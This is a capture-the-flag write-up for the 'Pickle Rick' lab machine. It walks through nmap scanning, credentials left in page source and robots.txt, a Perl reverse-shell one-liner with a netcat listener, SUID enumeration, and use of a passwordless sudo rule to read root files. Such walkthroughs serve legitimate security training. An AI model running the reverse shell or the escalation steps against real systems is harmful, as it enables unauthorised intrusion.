Pickle Rick

This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.

export IP=10.10.123.195

NMAP Scan

sudo nmap -S $IP -oN preliminaryReport.txt

```
Nmap scan report for 10.10.123.195 (10.10.123.195)
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 21.63 seconds
```

sudo nmap -A -p22,80 -oN detailedReport.txt $IP

```
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-23 14:54 GMT
Nmap scan report for 10.10.123.195 (10.10.123.195)
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 5e:22:1a:2a:eb:14:e5:7f:47:91:4d:a3:85:d9:60:62 (RSA)
|   256 bd:6f:12:7e:51:ef:dc:3e:f5:dc:e2:08:5f:2d:4c:16 (ECDSA)
|_  256 2e:de:f7:b2:cf:1b:ef:1c:42:a2:03:ec:ec:5e:54:52 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed
port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4)
(95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux
2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android
5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   192.01 ms 10.8.0.1 (10.8.0.1)
2   191.32 ms 10.10.123.195 (10.10.123.195)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/-
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.74 seconds
```

Let's check out the website

HTTP enumeration

From the source code of the website we can find the username as a comment:

> Note to self, remember username!
>
> Username: R1ckRul3s

DIRBUSTER

we find robots.txt containing a potential password

Wubbalubbadubdub

We also found login.php which means we can authenticate.

Let's authenticate with these credentials

Entry Point

Bingo we're in

We don't have python and we can't run bash for some reason
We can see we have perl with which perl
So we will use a crafted perl payload to run to get our reverse shell!

```
perl -e 'use Socket;$i="<your-ip";-
$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton(-
$i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

We listen through netcat in our computer on port 8888 or whatever we want

```
rlwrap nc -nlvp 8888
```

We have initial access!!
We can see our first ingridient is in the current directory

```
cat Sup3rS3cretPickl3Ingred.txt
```

Then we need to find the next 2 ingridients.

Let's enumerate the machine.

Further Enumeration

First thing we will check is our home directory.
We see 2 users:
Ubuntu and rick

Let's check out rick first.

our second ingridient is there!

```
cat second ingredients
```

2 Down 1 to go

We can search for the third ingridient but we don't know it's name
Well since one ingridient was in the website directory, the second was in our /home/rick directory it's only safe to assume that the third will be under /root directory.
Well we need access to that in order to view it

```
ls -l /root
ls: cannot open directory '/root': Permission denied
```

Well let's see how we can get access
Let's start enumerating rogue suid programs

```
find / -perm -u=s 2>/dev/null

/snap/core/5742/bin/mount
/snap/core/5742/bin/ping
/snap/core/5742/bin/ping6
/snap/core/5742/bin/su
/snap/core/5742/bin/umount
/snap/core/5742/usr/bin/chfn
```

```
/snap/core/5742/usr/bin/chsh
/snap/core/5742/usr/bin/gpasswd
/snap/core/5742/usr/bin/newgrp
/snap/core/5742/usr/bin/passwd
/snap/core/5742/usr/bin/sudo
/snap/core/5742/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/5742/usr/lib/openssh/ssh-keysign
/snap/core/5742/usr/lib/snapd/snap-confine
/snap/core/5742/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ntfs-3g
/bin/ping
/bin/su
/bin/ping6
/bin/mount
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
```

Nothing really seems out of order here...

Let's see if we are sudo-ers

```
sudo -l

Matching Defaults entries for www-data on
    ip-10-10-123-195.eu-west-1.compute.internal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on
        ip-10-10-123-195.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL
```

Well apparently we can run everything as sudo and we don't even need to use a password. Well that's convinient

```
sudo ls -la /root

drwx------  4 root root 4096 Feb 10  2019 .
drwxr-xr-x 23 root root 4096 Dec 23 14:50 ..
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Feb 10  2019 .ssh
-rw-r--r--  1 root root   29 Feb 10  2019 3rd.txt
drwxr-xr-x  3 root root 4096 Feb 10  2019 snap
```

Really convinent.. Let's just sudo cat the 3rd ingridient and we are done!

```
sudo cat /root/3rd.txt
```